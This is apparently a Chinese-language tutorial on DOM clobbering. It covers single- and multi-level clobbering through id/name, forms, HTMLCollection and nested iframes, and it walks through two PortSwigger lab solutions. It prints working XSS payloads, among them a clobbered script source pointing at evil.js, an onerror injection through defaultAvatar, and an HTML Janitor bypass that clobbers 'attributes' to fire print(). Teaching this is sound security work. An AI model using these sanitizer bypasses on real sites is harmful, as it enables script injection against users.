DOM

Document Object Model,即文档对象模型。是HTML和XML 的api,DOM将整个页面映射成一个层次节点组成的文件。

文档节点:整个文档

元素节点:标签,如<html> <a> <body>

属性节点:标签的属性,如<a>的hred属性

文本节点:标签中的文本 <p>hello world</p> 中的hello world

image-20250629102332998

image-20250629102602642

控制台可以清除的看到层级关系

DOM clobbering

即通过HTML影响js,比如在HTML设定一个有id的元素之后就可以在js中直接获取到他。

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body>
  <button id="test">click me</button>
  <script>
    console.log(window.test)
  </script>
</body>
</html>

image-20250629103343782

除了id可以直接用window存取外,embed form img object这四个标签后面加上name也可以存取。

<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body>
<embed name="a">123</embed>
  <script>
    console.log(window.a)
  </script>
</body>
</html>

image-20250629103559102

demo

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
  <h1>留言板</h1>
  <div>
    你的留言:hello
  </div>
  <script>
    if (window.TEST_MODE) {
      // load test script
      var script = document.createElement('script')
      script.src = window.TEST_SCRIPT_SRC
      document.body.appendChild(script)
    }
  </script>
</body>
</html>

这是一个典型的XSS,但是当服务端存在严格过滤,比如过滤script 标签 onerror等关键词的时候常规的XSS就难以实现。不过却可以轻松使用dom clobbering

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
  <h1>留言板</h1>
  <div>
    你的留言:
    <div id="TEST_MODE"></div>
    <a id="TEST_SCRIPT_SRC" href="http://127.0.0.1/evil.js"></a>
  </div>
  <script>
    if (window.TEST_MODE) {
      // load test script
      var script = document.createElement('script')
      script.src = window.TEST_SCRIPT_SRC
      document.body.appendChild(script)
    }
  </script>
</body>
</html>

第一个id是为了过if条件,第二个id是通过TEST_SCRIPT_SRC的href属性返回恶意js地址,HTML中<base><a>标签在toString的时候会返回URL,可以通过href设置URL

注意,如果变量已经存在了,那么dom覆盖不掉。

<!DOCTYPE html>
<html>
<head>
  <script>
    TEST_MODE = 1
  </script>
</head>
<body>
  <div id="TEST_MODE"></div>
  <script>
    console.log(window.TEST_MODE) // 1
  </script>
</body>
</html>

二层DOM Clobbering

为了实现诸如window.config.isTest这样的多层级关系,可以有很多方法。

首先就是利用HTML的层级关系,比如form

可以使用form.id 或 form.name获取其下一级的元素。

<!DOCTYPE html>
<html>
<body>
  <form id="level1">
    <input name="level2" value="level3"/>
  </form>
  <script>
    console.log(level1) 
    console.log(level1.level2) 
    console.log(level1.level2.value) 
  </script>
</body>
</html>

image-20250629105749071

三层DOM Clobbering

利用HTMLCollection

在html中,如果要回传的东西有多个,就回传 HTMLCollection。

<!DOCTYPE html>
<html>
<body>
  <a id="test"></a>
  <a id="test"></a>
  <script>
    console.log(test) 
  </script>
</body>
</html>

image-20250629105951588

然后可以利用name或者id拿HTMLCollection里面的元素

<!DOCTYPE html>
<html>
<body>
  <a id="test"></a>
  <a id="test" name="level2" href="http://127.0.0.1/evil.js"></a>
  <script>
    console.log(test.level2+' ') 
  </script>
</body>
</html>

image-20250629110137210

第一个test是为了和第一个test创建一个HTMLCollection,然后通过HTMLCollection来调用元素

再配合form就可以实现三层DOM Clobbering

<!DOCTYPE html>
<html>
<body>
  <form id="test"></form>
  <form id="test" name="level2" >
    <input name="level3" value="level4">
  </form>
  <script>
    console.log(test.level2.level3.value) 
  </script>
</body>
</html>

image-20250629110412633

更多层DOM Clobbering

当你建了一个 iframe 并且给它一个 name 的时候,用这个 name 就可以指到 iframe 里面的 window

<!DOCTYPE html>
<html>
<body>
  <iframe name="test" srcdoc='<a id="level1"></a>'></iframe>
  <script>
    setTimeout(() => {
      console.log(test.level1) 
    }, 500)
  </script>
</body>
</html>

image-20250629110612673

再搭配form HTMLCollection

<!DOCTYPE html>
<html>
<body>
  <iframe name="level1" srcdoc='
    <form id="level2"></form>
    <form id="level2" name="level3">
      <input name="level4" value="level5" />
    </form>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(level1.level2.level3.level4.value) 
    }, 500)
  </script>
</body>
</html>

image-20250629110801505

编码过后也可以实现无限层

<iframe name=a srcdoc="
   <iframe name=b srcdoc=&quot
     <iframe name=c srcdoc=&amp;quot;
       <iframe name=d srcdoc=&amp;amp;quot;
         <iframe name=e srcdoc=&amp;amp;amp;quot;
           <iframe name=f srcdoc=&amp;amp;amp;amp;quot;
             <div id=g>123</div>
           &amp;amp;amp;amp;quot;></iframe>
         &amp;amp;amp;quot;></iframe>
       &amp;amp;quot;></iframe>
     &amp;quot;></iframe>
   &quot></iframe>
 "></iframe>
<!DOCTYPE html>
<html>
<body>
    <iframe name=level1 srcdoc="
    <iframe name=level2 srcdoc=&quot
      <iframe name=level3 srcdoc=&amp;quot;
        <iframe name=level4 srcdoc=&amp;amp;quot;
          <iframe name=level5 srcdoc=&amp;amp;amp;quot;
            <iframe name=level6 srcdoc=&amp;amp;amp;amp;quot;
              <div id=level7>123</div>
            &amp;amp;amp;amp;quot;></iframe>
          &amp;amp;amp;quot;></iframe>
        &amp;amp;quot;></iframe>
      &amp;quot;></iframe>
    &quot></iframe>
  "></iframe>
  <script>
    setTimeout(() => {
      console.log(level1.level2.level3.level4.level5.level6.level7) 
    }, 500)
  </script>
</body>
</html>

image-20250629111115229

PortSwigger lab1

通过条件:调用alert

image-20250629111541027

image-20250629111626458

留言区可以留言

插入<script>alert(1)</script>的时候会被过滤掉

image-20250629112038795

因为使用了domPurify

查看js

function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    //转义特殊字符防止闭合
    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    //展示评论
    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};

很明显可以找到漏洞点

let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

加载头像的时候如果没有提供链接,就会使用默认的头像defaultAvatar.avatar

defaultAvatar通过window.defaultAvatar获取,如果window没有defaultAvatar整个属性,那么我们可以覆盖

image-20250629113831379

是没有的,尝试覆盖,使用HTMLCollection

<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href='"onerror=alert(1)//'>

image-20250629114726599

可以看到成功被插入,但是双引号被URL编码了无法闭合前面的双引号,原因是href需要加协议头

<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href='http://"onerror=alert(1)//'>

image-20250629114941292

PortSwigger lab2

通关条件:执行print

js里面没有找到window.x这样的敏感位置

image-20250629121925943

只能使用初始化内的标签及其属性,对于重要的输入输出地方都使用了janitor.clean进行过滤

htmlJanitor.js

for (var a = 0; a < node.attributes.length; a += 1) {
  var attr = node.attributes[a];
  
  if (shouldRejectAttr(attr, allowedAttrs, node)) {
    node.removeAttribute(attr.name);
    // Shift the array to continue looping.
    a = a - 1;
  }
}
  
// Sanitize children
this._sanitize(document, node);

最终是到这里,对节点的每个属性进行白名单检查,发现有不在白名单的属性就使用removeAttribute进行删除

漏洞点就在这,属性通过node.attributes.length node.attributes[a]获取

如果可以构造一个叫做attributes的子节点就会导致对其他属性的判断失效

比如

<form id=x ><input id=attributes>

输入这个就可以让属性判断失效

下面配合XSS触发print,可以利用form 的onfocus属性

<form id=x tabindex=0 onfocus=print()><input id=attributes>

需要加个时延操作让js执行完才能有评论

<iframe src=https://0a14004b03112605802f1cf600c400a3.web-security-academy.net/post?postId=6 onload="setTimeout(()=>this.src=this.src+'#x',500)">